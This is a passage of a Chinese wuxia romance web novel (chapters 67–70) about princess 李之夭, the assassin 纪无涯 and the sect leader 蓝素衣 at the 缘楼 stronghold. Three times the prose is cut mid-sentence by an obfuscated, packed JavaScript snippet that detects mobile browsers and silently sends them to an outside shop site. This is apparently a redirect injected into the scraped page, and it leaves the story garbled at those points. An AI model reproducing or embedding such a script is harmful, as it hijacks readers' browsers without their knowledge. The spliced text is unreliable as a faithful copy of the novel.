纪无涯视线从她的手移到面上,“缘楼虽忌惮朝廷势力,但不排除蓝素衣生出鱼死网破的心,若你跟我一起进了缘楼,对我们都不利,你留在外面,三日为期,若我没来寻你就来找我,若三日内解药送到你手上,你带着解药离开。” 李之夭怔怔看着他,一时间心情百味杂陈,话到嘴边又不知说什么好,只能说了句好。 她和许归去到自己的房间中,许归安慰,“姑娘,你不必担心,命百子他有自己的打算。” “阿奶,命百子是他的小名么?” 许归摇了摇头,“不是,命百子是我和你阿爷给他取的小名,生命百岁,刚遇他时不过十四五岁的毛头小子,就叫他命百子了。” 她们继续随意聊了会儿,李之夭说自己的燕国人,跟纪无涯认识纯属意外。 此时窗外落下一道暗影似乎在探查她们屋子的情况,许归劝说对方离开,“这里没有你们要找的人,纪无涯在院子里等你们。” “阿婆,这么久不见,你怎还在这?”女生冷哼了一声,并无闯进来的打算,而是隔着门,“她是谁?” “蓝素衣,她是不相干的人,你们缘楼的恩怨不要牵扯她进去。” 李之夭想站起身被许归拉住,双方僵持不下时,有人匆匆来报说找到纪无涯了,蓝素衣这才离开。 蓝素衣穿过小廊,心中虽有疑惑,但她在门外明显感觉到有股属于纪无涯的内力在里头,虽然微弱,可纪无涯的内力很好认,她本以为是许归那个老太婆有意护着纪无涯,没想到纪无涯竟不躲。 也是,若他藏了就不是纪无涯了。 经此一试,蓝素衣也能确认屋中的姑娘是谁,是宿宁公主,害得驻军现在附近驻扎的罪魁祸首,早知她中了留羽毒,那股内里就是纪无涯为帮她稳定体内留羽毒留下的。 她看到站在院子里悠然自得的人,心中怒气不断往上涨,可赵南涧还在,她不好当场对纪无涯用刑,“十三你真是越来越放肆了,见到楼主不跪。” 纪无涯只是随意行了一礼,“我毁了十三牢的最低牢,就说明我已不是缘楼的人,这次回来我有三件事,希望楼主成全。” 蓝素衣想都不用想都知道他葫芦里装得什么药,当即让人要把他拿下,赵南涧咳嗽一声,单手提起手中长刀,刀柄敲了敲地面。 好不容易能动手,林江当然不放弃这个机会,“老不死的,你坐在这里不会真当自己是盘菜了吧!” 林江二话不说直接冲了上来,九明想拦都拦不住。 觉察有人逼近,赵南涧手中长刀一震,瞬间迸发出汹涌内力,他眉眼一斜,卯足力气朝林江挥去,内力刚劲霸道,跟他本人外貌丝毫不符,林江没想到这样一个老头竟是个高手,狼狈躲闪仍被刚烈的刀气震得飞出去。 赵南涧刀锋插在地面上,站在纪无涯身旁。 “我看谁敢动手。” 67. 规矩 第67章 这气势一出来,缘楼几名护法也不敢再上前,而是看着蓝素衣看她接下来怎么办。 赵南涧的名号他们在江湖里多多少少都有耳闻,一柄长刀气势如虹,但他早在江湖中销声匿迹几年,没想到藏在纪无涯的宅子里。 显然蓝素衣是知道此事的,此番下山她并没有说,现在对付一个赵南涧还好说,若是再加上个许归,她可没把握能打赢他们三人。 蓝素衣并不想惹出事端,闯出动静,驻军的营地距离这里不远,惹来麻烦让他们看到李之夭在这里,简直是雪上加霜,“都不许动手。” 她眉眼扫过扶着林江的九明,最后看在林江的面色上都有些不悦,“你们二人去附近转转,不要惊动旁人。” 林江觉得有些不甘心,但楼主的命令下来,也不能拒绝,不情不愿地说了句是就走了。 蓝素衣再次看向纪无涯,“十三,闹也闹够了,出也出去过了,你该回去了吧,你将第一牢的人放出去,险些乱了缘楼,用这样的方法想摆脱缘楼,实属有些见不得光了。” 缘楼的十三牢,从上往下依次是十三、十二,到最底层才是一,这是关押或者用刑的地方,每一层都凶险万分,考验身心身手,每个被关进去的缘楼弟子,出来都人不人鬼不鬼的。 最后一层,则是关着一名犯人,那名犯人据说被关在缘楼二十一年了,在不见天日的地下,精神都有些不正常,神神叨叨的,浑身长满虱子,一股子浓烈的臭味。 二十名护法,每七旬都会派一批人过去守着十三层,从前因轮到去守第一层的时候,大多弟子都不愿意,将守第一牢的任务派给了他。 正因为他去过,才知道此人对缘楼干系重大,所以后来才有他下去将人放出来大闹缘楼的做法。 “你是楼主,你说的有道理。”纪无涯没有反驳,顺着她的话接下,不就是说她仗着楼主的身份仗势欺人?随口乱说? “缘楼的规矩里有一条若是有人能下到第一层,这样也算脱离。” 蓝素衣矢口否认,“这是那个建立缘楼把全部人困在这里那个该死的人写的!我从不认他定下的规矩!” 她拂袖一挥,纪无涯的话触及到她的伤疤,情绪变得激动起来,“他定下的规矩早该废了!几百年过去了,那些规矩不过是他留下来的枷锁!现在缘楼在我手上,制定规矩的人说不定轮回都转了几十次了,凭什么还要来影响后世缘楼的去留存亡,在这里我才是规矩!” “你也用你的规矩困住了不该在这里的人。”纪无涯不在意现在蓝素衣的情绪状态,毫不留情地拆穿她的嘴脸,“困住这么多的人,这还是当初你跟我说缘楼会是无家可归的,人的避风港吗?” 纪无涯的视线缓缓扫过周围的几位护法,从大师兄开始,他是蓝素衣继任楼主身边的第一位护法,也是他们的师兄,二十人,身上挂着护法之职,护卫缘楼,护卫楼主,这是他们从第六层生死囚杀出来的结果。 只有在第六层最后一个活着的人才有资格成为护法,至今一共才二十人,也只有二十人,其年纪最小的莫不过雪和小二十,十二岁的孩子,若非他们遭遇,现在正是玩闹快乐的年纪,却要干着暗杀的事,背上杀戮。 “这里的人谁没有苦衷,难不成想来就来,想走就走,缘楼不就成菜市场了,生死囚就是个笑话!” 纪无涯摇了摇头,明知他不是这个意思,蓝素衣总是曲解,他说从未这么想过,“楼主,我快死了。” 在场的人神情皆是一愣,他们知纪无涯来时体内有旧毒,之前复发还让他卧床半年不得动弹,当时大家都很关心他,得空就来照拂,纪无涯心生感激,正是如此,他才更想为缘楼的人求一份能离开的权利,“离开时二十护法自相残杀,只有活着才能下山,带走铭牌,从缘楼除名,身为杀手,独来独往惯了,一起生活那么久,谁又能下得了手。” 蓝素衣制定的这个规矩不合理。 他话没说出来,意思却也清晰传达到心里,缘楼想离开的不止他一人,杀手无情却重情,不能轻易走,只能长久留。 蓝素衣却因此恼羞成怒,拂袖上去跟纪无涯打在一起,剩下的护法面面相觑,似乎都在犹豫要不要跟纪无涯动手。 一行人僵持不下时,林江和九明来到后院,林江一脚踢翻了瓜棚下的水桶,径直走到前面的石凳上坐下。 见四下无人就开始抱怨,“十师兄,我看楼主就是偏心,挨了这么一下,疼死我了。” 九明四处打量后院的情况,这里过于僻静,听前院好久没传来动静,林江还在这里不停抱怨,若不是同为师兄弟,他都不想管他了,“你少说两句吧,楼主怎么偏心了。” “十三那混账都这么欺负到我头上了,楼主一点表示都没有,挨了赵南涧那老匹夫一刀,震得我心口疼。”他骂着纪无涯,不带拐弯的又抱怨楼主和别人,九明也不知道该顺着他哪句说。 这不是他自找的么。 林江揉了揉胸口,听到前院传来打斗声,今晚本该有机会报仇,却被喊来附近探查情况,心里一百个不愿意,那股无名的孬火憋在心里上也上不去,下也下不来。 所以看到不远处亮着灯的房门被打开时,见到姑娘走出来,林江顿时眼睛都亮了,这不是李之夭么! 也顾不上李之夭的身份,现在他迫切的想要给纪无涯找点麻烦,李之夭出现在这里,身边又没跟着朝廷的人,谁能告上去。 他飞身过去,九明拦都拦不住,看着他的目标,心里暗骂声蠢货。 李之夭站门口伸了伸懒腰,前院打斗声未歇,自己现在出去也帮不上什么忙,干脆留在这里等等。 屋中夏日炎热,屋子里有些闷,现在缘楼的人不会来找她们的麻烦,许归就让李之夭开门站在门口透透气。 但刚开门没多久,李之夭只觉一道人影逼近,紧接许归的软鞭就从屋子里打了出来,打在林江的脸上,他惨叫一声,捂着发烫的脸,从右边额头到左边的脸上,斜着印出一道新鲜的红痕。 林江想捂脸不敢捂,只得张牙舞爪地惨叫,凶狠地盯着屋子,许归手持软鞭走出来,“哪家的狗这般放肆!” 九明认出软鞭的主人,必定是许归,她的侠名跟赵南涧齐名,两人喜结连理成为夫妻,他早就想到赵南涧会在这里,说明许归也在附近,没想到两个不好惹的人一晚上全被林江惹遍了。 林江仿佛受到极大的侮辱,当即拿出暗器要跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“作甚?” “你这是去缘楼的路么?” 九明不明所以,出于警惕并未回应她,“你想干什么?” “你绑了我,若他们追来,惊动驻军,可是不能回头的离弦箭了。” 她说的道理九明肯定知道,但他不这么做,救不了林江甚至有可能把自己也搭进去。 “我知道。” 李之夭将东西从袖子里取出来,她是被九明抗在肩上,九明看不到她的动作,那是一枚信号弹,知道来的是宁缘城,这次出门特意带了三枚清武帝给她的信号弹在身上。 这是第一枚,紧接她从另外的袖子里取出一枚珠子,将它捏碎擦在自己袖子上。 做完拔出引线,黄色的信号弹直飞天际,在夜空里炸开。 九明停下步子怔怔看着天上的黄色烟雾,李之夭勾唇笑得顽劣。 “把我杀了你可是一点活命机会都没有了,现在要么把我放下来,你自己离开,要么跟我耗下去。” “你……” 李之夭抬头望了望快散完的烟,“快做决定,时间来不及了哦。” 68. 话多 第68章 九明咬牙切齿站在原地半天,他没想到李之夭还藏有这手,竟能直接给驻军发求救讯号。 将人从肩上撩下来,衣袖拂过他的面庞,九明似乎闻到一股若有若无的香气。 杀了李之夭,他是真的没活路了,运功起身没走多远,九明只觉双脚发软,景象变得虚虚实实,顷刻间从屋檐上滚落下来,摔在地上昏死过去。 李之夭慢悠悠到他跟前,等到驻军将领牛大壮带兵赶来,“何人燃放信号!” 她从暗处走出停在烛灯下,仰起脸说了句是我,“牛将军,许久不见。” 牛大壮勒停了马,姑娘的脸有些眼熟,他一时半会儿没想起来曾经在哪见过,听她说完才想起来对方身份,赶忙下马跪地行礼。 “末将参见寻、宿宁公主!” 李之夭指了指旁边的九明,“帮我把他绑起来,日后我有用。” 牛大壮吩咐人上期结结实实就给捆了起来,她继续说话,“现在不是叙旧的时候,前方的小院里有缘楼的人挑事,我怕住里面的人吃亏,你带人过去看看。” 因两人曾经都是燕国人,对于李之夭的请求,牛大壮不敢马虎,这位曾经的燕国公主在他还是一名小侍卫的时候私底下可没少给他吃御厨们做的糕点,他这人唯一的爱好就是糕点了,曾经有那份友情在,牛大壮也乐得帮她办事,反正驻军在这里闲着也是闲着。 李之夭跟在他们后头回了小院,刚走到石板桥附近,刚好遇上从小院出来的众人,蓝素衣走在最前方,身边跟着受伤的林江,正面跟驻军的人迎上。 林江看见李之夭安然无恙站在这里,心中大骇,神色差点都绷不住,仿佛下一瞬就要问她为何会在这里,蓝素衣瞪了林江一眼,直接忽视李之夭,跟牛大壮说话,语气略有不满,“将军怎么连我们缘楼自己的事都要管么?” 牛大壮严肃地回应,“缘楼的事本将自不会插手。” “那就劳烦将军委屈下让个路,我们走的有点远了,回不去了。” 林江似乎很着急,奈何蓝素衣在身边他不敢乱说话,他怕自己一出声就会被人踹进水里。 可牛大壮闻声并未有动弹让路的意思,一行人僵持在青石砖路上。 李之夭往前走几步,蓝素衣下意识往后退一步,林江把刀横在胸前,面目狰狞可怖,张口威胁,“你要干什么!小心我杀了你!” 没曾想李之夭非但没因为他这句话停下脚步,而是直直往前继续走,蓝素衣带人迫不得已慢慢往后撤,最后退回到小院内,驻军顺势进来把人围个底朝天。 “别太过分了。”蓝素衣皱眉,她是第一次跟这位传闻中的宿宁公主见面,本以为对方跟从宫里打探回来的情报一样软弱可期,没想并不全是,仗着缘楼不敢跟朝廷驻军正面起冲突,一人硬是将他们逼退回院子中。 李之夭眨了眨眼睛,满脸不解,“我如何过分了?不过是走了条路,你若看不惯,大可从我旁边走过去啊。” 蓝素衣心里暗骂一句我走你大爷,屁大点路让我往哪走。 林江忍到现在终于忍无可忍,“你存心找事是不是?” 听到这句话李之夭更无辜了,甚至回头询问了一下驻军,“我有说过一句威胁或是挑事不敬的话么?” 驻军整齐划一嗓音嘹亮一句没有,硬是把林江气的半死,他想动手被蓝素衣拦住,只得纷纷退下去不再说话。 牛大壮为她搬了张椅子坐下,许归夫妻两也跟着过来,见这架势顿时明白,能调动驻军可不是一般人,有头有脸还不行,还得有身份有地位。 李之夭让人把绑起来昏迷不醒的九明带上来,“楼主不跟我讨说法,那我可得跟楼主要个说法了。” 指了指九明,驻军打来井水浇在他脸上,九明逐渐清醒开始挣扎,他面向是对着李之夭那边的,自然没看到身后的缘楼众人。 “你何时下得毒?” 李之夭自然不会把下毒的方法告诉他,饶是想破头皮都想不到,江湖下毒讲出其不意或是让人防不胜防,她弄在衣袖上剑走偏锋,缘楼弟子自然不会往这么浅显的方式去想,不然她又怎么会讲纪无涯药倒好几次。 留下一句你猜,就是不直接告诉他,“你抓我,可有想过现在这个下场?” 九明目光沉了沉,落在驻军手里,他自然是没得跑了,爽快承认,“想过。” 李之夭坐直身子似笑非笑的盯着蓝素衣,“楼主,绑架当朝公主,该当何罪?” 九明惊觉往后看去,蓝素衣面色铁青,眼底是止不住的怒意,心中慌乱大事不好,半晌只能说出‘楼主’二字,往下怎么都说不下去了。 “纪无涯呢?” 不给蓝素衣说话的机会,赵南涧主动把他们前院的事一五一十全说了出来,现在能有人为他们的命百子撑腰,自然不能让别人威风了去。 原来他们打起来没多久也听到后院传来的打斗声,听声音只有一人想到许归能应付便没分散注意力去管,而是专心对阵眼前。 可没多久,许归就过来说李之夭被人带走了,是缘楼的护法。 纪无涯为上山找人,主动束手就擒,被人先带走了。 “那咱们就去缘楼谈谈?” 蓝素衣看着李之夭的嘴脸恨不得上去一刀把她剁了大快人心,可理智告诉她不能这么干,要是这么做无异于把整座缘楼架在火上烤,哪怕撤退他们也会面临朝廷的追捕,海捕文书一出,江湖人必定全都能看到,为了银子,缘楼的人就是成为众矢之的。 这些对他们都不是好事。 所以,她忍,尽量规劝李之夭,“纪无涯是我们缘楼的人,你们朝廷不好插手吧。” 她这么说是想说李之夭管太宽了,没想到对方不按常理出牌,直接一脸困惑,从迷茫转为恍然。 “我没说要插手纪无涯的事啊,说去缘楼谈不过久闻盛名,这位是缘楼的人,去缘楼谈事合情合理,院子主人都不在这里,我们也不好霸占人家的屋子,你说是不是,不过你都这么暗示我了,我也懂,纪无涯在我身边当了一段时间的侍卫,怎么也都算半个我身边的人,我是朝堂那方的人,纪无涯怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14222873|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都算半只脚在朝堂里的人,我还未结束对他的雇佣关系,找找自己的侍卫过问一下侍卫的事,不算插手你们缘楼内部的事。” 缘楼众人都被她这一套歪理震惊得说不出来话,想想还觉得怪有道理。 李之夭见他们的神色以为是有什么担心的地方,贴心再做补充,“你们不要担心,我还欠他五千两银子,欠债还钱天经地义,你们总不能让我不还钱吧!” 蓝素衣心中郁闷,怎么有人欠债还好意思拿出来说,还说得这般理直气壮,若他们一再阻拦,就显得自己不近人情,见她犹豫地空档,李之夭又开始说话,“五千两不是小数目,不是我不放心你们,而是我不放心纪无涯,他可坑了我不少钱,总不能不让我见到他评评理么,你好歹也是楼主,我甚至怀疑这是不是你在包庇他!” “我才没有,胡说八道什么。”蓝素衣下意识反驳,正这么一反驳正中李之夭下怀。 她一拍手,替蓝素衣就把主意定了,“那不就是了,不被人落下口实楼主一定会同意的,牛将军,随我去银来庄支点银子,今晚我们就随楼主一块上山!” 蓝素衣在驻军前后夹击下,跟着一块出了小院,临行前李之夭特意交代许归夫妻两安心留在这里就是,缘楼那边她能应付。以防万一,还是托他们帮自己传封信到京城银来庄给耿进才。 让耿进才带着人过来这边随时照应。 李之夭知晓江湖人轻功甚好,所以这一路都是在蓝素衣旁边拉着她不停吐苦水,说纪无涯怎么以下犯上两头赚银子,只要蓝素衣不先走,缘楼剩余人都必须安安分分留在这里。 擒贼先擒王,稳住蓝素衣,就不怕她先溜了回去使袢子。 李之夭敲开银来庄的门,从发钗上摘下一颗珍珠丢给过来的掌柜,豪迈地跟他说要一万两白银。 银子是用箱子抬出来的,一箱一箱装在马车上,分五千两装了两马车。 然后她坐在马车上,贴心的继续找来蓝素衣听她念叨,听得蓝素衣整个人都麻木了。 好不容易熬到山上,蓝素衣肉眼可见的憔悴了一圈,她本就不喜欢旁边的人吵吵闹闹,碍于李之夭和驻军的面子,她不得不一路应承,虽然大多数都是李之夭在说,可总抵不住她一轮又一轮的精神攻击。 “素衣姐姐,等等!” 蓝素衣想离开的步子一顿,她现在听到声音都觉得毛骨悚然,李之夭小跑上前,笑盈盈道:“我住哪呀?还有我带来的那些钱,什么时候能见纪无涯?” 蓝素衣本想说爱住哪住哪,转念怕这祖宗把缘楼搅得不得安生,若是安排太差,只怕给自己找罪受,就给她安排了缘楼里最好的房间,就连她带来的银子也全放到她屋子里,只希望她能安分些。 不能打不能杀的人一直在眼前犯贱,蓝素衣回去后气得当场把桌子当做出气筒砍得稀巴烂才善罢甘休。 天刚蒙蒙亮,蓝素衣不知是楼里哪个大嘴巴把她住的房间告诉给了李之夭,人还在睡梦里,就听到阎王索命的声音在外头传来。 “素衣姐姐!素衣姐姐!天亮了!” 69. 搅水 第69章 蓝素衣翻了个身,想装作听不见继续睡,外面的声音不依不挠,最终忍无可忍,她烦躁地从床上坐起来穿好衣服开门刚想发火,就看见李之夭身边还跟着牛大壮,那股刚冒起来的火气瞬间又压了下去。 她不给李之夭面子,总不能当着驻军将军的面下皇家人的面子,疲倦地揉了揉眉心,“你想干什么?” 李之夭笑嘻嘻拉住她的胳膊,眨着无辜的眼睛,“我来的匆忙,身边没带婢女,想跟素衣姐姐借两个。” 缘楼里都是闯江湖的粗人,哪还有婢女伺候,除了那些干杂货粗活的小厮婆子,谁都没伺候过人,放眼整座缘楼,她从哪里给李之夭找人来。 只能耐着性子告诉她没有,“这时候只能劳烦公主自己动动手了。” 李之夭点头,满脸不情不愿的走了。 牛大壮急忙跟上她的步伐,身后传来一阵巨大的关门声,一起往楼下走去,缘楼是有五层的八角楼,其中最顶上的八个方位中,分东西南北各设有一座阁楼,是缘楼接待贵客和缘楼稍岗。 “公主,就这么算了?” 李之夭否认,说当然不会,“肯定不会,我自有办法,蓝素衣不愿让我见到人,我怎会让她舒坦。” 她跟蓝素衣同住第五层,从第二层到第四层是缘楼护法长老住处,而普通弟子则都是住在八角楼后面的大院中,缘楼建造,占据了一整片山头,所以场地宽敞,门下议事都是在后面的大院主堂里。 若关于护法的事在八角楼中央一层的堂屋里就成,普通的小事任务交给普通的弟子,闲不住的可以接下每日送来缘楼的任务,按照难易程度根据自己实力挑选,油水多也危险的任务大多数都进了护法们的口袋,除非二十护法都不愿意接的,才轮到大院的普通弟子。 李之夭发现缘楼有位年纪跟雪差不多的孩子,也是女孩,只不过她们性子相差甚远,她说她排行二十,是缘楼护法的最后一位,名字叫宁儿。 宁儿话多,小孩子哪怕是杀手骨子里心性也单纯,李之夭主动跟她说了雪在皇宫的事,宁儿就什么都跟她说了。 缘楼的运行模式,任务从哪里接,包括雇主下任务还可以指定人来完成怎么操作全都说了。 李之夭笑着揉了揉她的脑袋,给了她一支蝴蝶步摇当做谢礼,宁儿满心欢喜,当场就说有什么就来找她。 这不刚下楼,她们又碰上了,只不过宁儿垂头丧气的,似乎情绪不太高。 “宁儿?怎么了?一大早的垂头丧气的。”李之夭笑眯眯走上前,装作一副知心大姐姐的模样。 宁儿四处看了看,确认没人才说一言难尽,“今日轮到我去十三牢第一层送饭,虽然十三师兄也在那里,但第一层关着名怪人,我实在不想去,上次去差点被他吓死,太恐怖了。” 这不就是天无绝人之路,她苦恼什么,刚好上天就给她送解决办法来,李之夭眼睛一亮,按捺住内心的喜悦,跟她一起苦恼拍手叹气,顺便骂了句楼主怎么能这么为难你这样一个小孩子,最后自然接过她手里的篮子,“既然你不愿意去,好在我年纪比你年长些,不妨你躲在暗处等等,我帮你走一趟。” 宁儿犹豫了下,说这不太好吧,李之夭趁热打铁,说有什么不好,“我年纪比你大些,也算你姐姐,姐姐帮你有什么不好的,放心不会让你惹祸上身,昨日你不在队伍里,但想必也听说我跟你那十三师兄有仇,天大的仇,他坑了好几次还欺骗我感情,我看他倒霉还来不及,绝对不会坑你。” 宁儿张了张嘴看她,这怎么跟她听到的有些不一样,“不是姐姐你还欠了十三师兄银子么?” 李之夭面色有些尴尬,这以闻传闻怎么跟想象中的不一样,“对啊,我是欠他钱,可他欠我的更多,若有必要,我宁愿不把钱给他。” 宁儿刚想答应,楼上传来一声咳嗽声,她抬头望去是大师兄,大师兄是出了名的严格,她不敢再多说一句话将篮子从李之夭手里接过一溜烟跑了。 大师兄下楼睨了李之夭眼,冲她行了个礼就离开了。 计划失败的李之夭带着牛大壮前往缘楼的食房去吃早点,看见厨房门口摆着几大桶泔水桶,厨房进进出出很是忙碌。 她负手老气横秋的带着牛大壮走进去像在巡查,看到出锅各式各样的早点不得不感慨缘楼伙食还是不错的,案上放着两个托盘,上面还有几样早点,看样子准备送去给某两个人吃的。 一个李之夭能猜到是蓝素衣,还有一名是谁? 听说昨天缘楼来了贵客,就在阁楼上住着,也不知道是谁这么大面子。 所以李之夭主动提出她和牛大壮帮忙去送早点的时,偌大厨房的厨子愣是没不敢让她包揽下着活计,不知晓她的身份没事,但看到她身边寸步不离跟着位将军,不用再细想下去就知道她的身份。 双方争执的过程中,李之夭趁机让牛大壮创飞了门外的泔水桶,瞬间泔水淌了一地,夏季日头炎热,味道很快就蒸发起来,不可明说的味道直冲天灵盖。 恶心的好多人多远些不敢靠近,喊着人赶紧打水过来冲洗地面。 外头兵荒马乱,李之夭趁机将泻药下进两份早点里,既然不知道哪份是送蓝素衣,哪份是送神秘人的,干脆两份都加一点,包子豆浆也不知他们会吃哪一样,李之夭干脆全下了一遍,不厚此薄彼。 牛大壮默默挡在她跟前,紧张地都快出汗了,这样损的事他还是第一次干,虽然早就知道宿宁公主从前总做这些损人的事,还是忍不住感叹赶紧离开吧,不然缘楼就要闹大了。 李之夭捂着嘴惊恐万分地说了句对不起,“我只是想帮个忙,没想到会这样,之前都是纪无涯跟在我身边,缺了侍卫有些不习惯,我这人闯祸闯惯了。” 厨房的人敢怒不敢言,谁要敢说句不字,她旁边的将军指不定就冲上来砍人了。 将后厨闹得一团糟后李之夭又再次不小心把他们练武场关着训练的一头老虎给放了出来,饿了好几天的老虎一出来就张着血盆大口咆哮,烦躁异常,不带怂的追着人跑。 惊得缘楼一名不怎么出面的护法都出来当场训虎,罪魁祸首李之夭再次眨巴着眼睛道歉,“对不起,往常这些你们那十三护法都不给我靠近的,我实在是被他管得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我当然当得明白。” 男人笑笑不说话,仰头望向顶上的第二牢,喃喃自语道:“今日怎么没听见第二层的那头老虎叫声,怪不适应的,倒是地面上鸡飞狗跳的,不知道出了什么事。” 纪无涯没有他那么好的而立能听到地面的事,曾经的江湖高手被困在这里二十余年,平日没事就只剩修炼了,练就常人不能及的耳力也是意料中。 “十三,你要不要再放我出去一次,这次我绝对不会再被缘楼的人抓住,放我出去,我去杀了裴鹤鸣,这一身内力就全部传给你,届时你必定天下无敌!” 听他这么说,守卫的众人纷纷拔剑落下,他们二人围个水泄不通,生怕纪无涯如上次那样,把他放出去。 正当所有人剑拔弩张的时候,蓝素衣的声音传来。 “把武器全都收起来。” 顺着视线望去,李之夭跟在她后面,见到纪无涯的瞬间上来当着众人的面就给他一巴掌。 旁人看来李之夭那一巴掌铆足了劲,只有纪无涯和那男人知道,最后一瞬间她收了力道,压根没打疼,打出来的声音都是李之夭自己打在另一只手的巴掌上。 他还没搞清楚状况,就被李之夭一把拽进了怀里。 70. 记忆 第70章 纪无涯愣神之际余光瞥见不远处宁儿的神色,她一脸果然如此的表情,李之夭身后跟着来的有蓝素衣和大师兄以及驻军的将领牛大壮。 楼上守卫方才拉弓搭箭的架势也都不见了,包括那男人都是一副看好戏的模样。 抱着他的人似乎在哭,虽然没搞清楚状况,但昨晚听说她被九明带走了,本想束手就擒回来寻她,没曾想到今日他都未曾见到李之夭,也不知外面的情况。 李之夭慢慢松开圈着纪无涯的手,她这段时间忙碌整个人看上去清减不少,眼睛红得跟兔子一样,浓密的睫毛上挂着晶莹泪珠。 纪无涯轻轻拍了拍她的后背,手上拴着的镣铐因为他的动作晃了晃。 “骗我感情的东西,若非你是缘楼的人,我一定要将你带回宫里治罪!” 牛大壮惊讶地长大嘴巴,“什么!他还敢骗公主你感情!” 看着这么一个星眉剑目的少年,没想到是个人渣,难怪公主闹着要下来要个说法。 纪无涯不解,“我何时欺骗过你感情?” 李之夭跺脚憋红了脸,“启程出发去骊山的时候。” 提到当日的场景,纪无涯不想忘记都难,不过他不理解,自己怎么又成骗她感情的人了? 心头忽被什么东西震了下,他怔怔垂眸望她,那个念头无限放大,可全身的理智又在叫嚣。 不可能,她说的一定是玩笑话。 但望着她通红的双眸,纪无涯心顿时乱了乱,鬼使神差地问了一句:“以身相许你是认真的?” 这回轮到李之夭哑然,当日她不过起了想逗逗他的心思,纪无涯对这样的事早该抛之脑后才对,怎么记得比她还清楚。 本想趁机演戏痛斥他一番,什么话都说不出来了,硬生生改了口风。 “我以为你都忘记了。”她泪眼婆娑地回望。 纪无涯差点就要信了,但想起李之夭本性就是个黑心肝的爱哭鬼,憋着一肚子坏水,下意识往后退了一步,“公主的玩笑话罢了。” “不是玩笑话。”李之夭义正言辞打断,“我是认真的。” 纪无涯现在心乱如麻,他不知道该怎么回复李之夭,只能拼命回想从前二人相处是不是自己哪里做得有问题。 李之夭转头愤愤望着蓝素衣和大护法,“你们看,我说的没错吧,他就是欺骗我感情!” “我没有。”纪无涯赶忙出声想为自己辩解,现在自己都想不明白的事,怎么可能这么着急下定论。 “当真?”李之夭眼眸明亮,转哭为笑,“我信你!快帮他解开,你不能这么锁着很有可能是我未来的驸马。” 蓝素衣将一切收进眼底,讽刺地笑了笑。 楼里除了寻方和雪,对谁都礼貌疏离的十三护法,似乎又把自己心里的一份亲近信任给了出去。 说来讽刺,养他多年的缘楼不亲近,她这个楼主不信任,只有尊敬。 当初答应守住无家可归的可怜人一处安生处的少年,现在绞尽脑汁想离开,对她唯独的那份尊敬现在也全都消失不见。 蓝素衣不知是什么改变了他的心境,思来想去只想得到莫不是他卧病在床半年,这半年把他脑子也躺坏了。 是了从他卧病在床到痊愈后,纪无涯跟从前的他判若两人。 一开始他还见人,后面除了寻方和雪谁也不见,就算缘楼的护法前往探望,都只是片刻就被他以养病为由请离。 等他伤病好了后,纪无涯孤身来到第一牢,把这里搅得底朝天,使得缘楼大乱,他趁机和寻方离开了缘楼,细细算来,她已经有快一年没见到纪无涯了。 近一年不见,他心性竟改了不少,杀手开始对不想干的人产生感情,必然是丧命的开始。 这样的一把刀,不好用了,蓝素衣就算自己不要,但也不会便宜了别人。 只是现在李之夭背靠朝廷,清武帝她惹不起,毕竟自己在清武帝的地盘,可是她惹不起,不代表有人一样。 蓝素衣拿出钥匙递给大护法,“把他解开。” 得到自由的纪无涯冲蓝素衣拱手行礼,算是谢了她的开恩,蓝素衣道:“你跟宿宁公主的恩怨十三你得尽快解决,不能再给缘楼带来麻烦。” 他们一行人出了十三牢,到地面才知道李之夭短短一早上都干了些什么好事,把缘楼搅得鸡飞狗跳,每个人怨声载道,护法弟子们不能正常修炼。 不想理会李之夭的时候,她总能搞出些动静来,让他们不得不分心,打杂的普通人怨念更多,纷纷要求把纪无涯放出来管着点,最后几乎大部分人都知道他是欺骗感情的男人。 蓝素衣也烦了李之夭跟苍蝇一样缠着她说这说那,带李之夭下去将人放出来,只不过她不是这么吃下哑巴亏的人,想跟她抢人也看有没有这个本事。 她喊了一声大护法,大护法顿时推门而入等她的问话,“李之夭那边现在什么情况?” 一直在监视他们的大护法回答:“还算安分,应该是十三在的缘故。” 蓝素衣冷笑一声,李之夭的伎俩她何尝不明白,不顺着说不定又要捅出什么篓子,打不得骂不得,牛大壮寸步不离跟着,那人武功不差,打起来两方都不讨好。 “李之夭不过是想让我把十三放出来,你以为十三真能镇住她?” 大护法沉默不语,蓝素衣提笔在纸上写了封信叠好交到他手里,“你将此事告诉给智先生,然后去一趟北唐。” “去北唐?” “去找安庆帝。” 大护法离开时想起阁楼上住着的人,“那他呢?” “你找人继续盯着,不能让李之夭发现此人,清武帝好歹也是她的舅舅,等他离开了再说。” * “你为什么不找她要解药?” 等守在外面的人离开,纪无涯才开口询问。 明明解药才是重中之重,她偏偏半字不提,搞半天这么大的动静只是把他捞出来,心中百味杂陈,“你不想活了?” 李之夭摆摆手,“放心,我有分寸,纪无涯,东边阁楼上住得什么人?” “那里平日不会住人,除非来了贵客。” “今早我在蓝素衣和东阁楼两人的早点里下了泻药,蓝素衣都中招了,东阁楼始终没动静。” 她说这话时目光灼灼,纪无涯大概猜到她后面想干什么,问都不问直接拒绝:“不行,若是被蓝素衣发现,你我就麻烦了。” “蓝素衣不会这么轻易把解药给我,不拿到她的把柄,怎么跟她要解药?” 纪无涯默了半晌,“我来这里本就是帮你取解药的。” 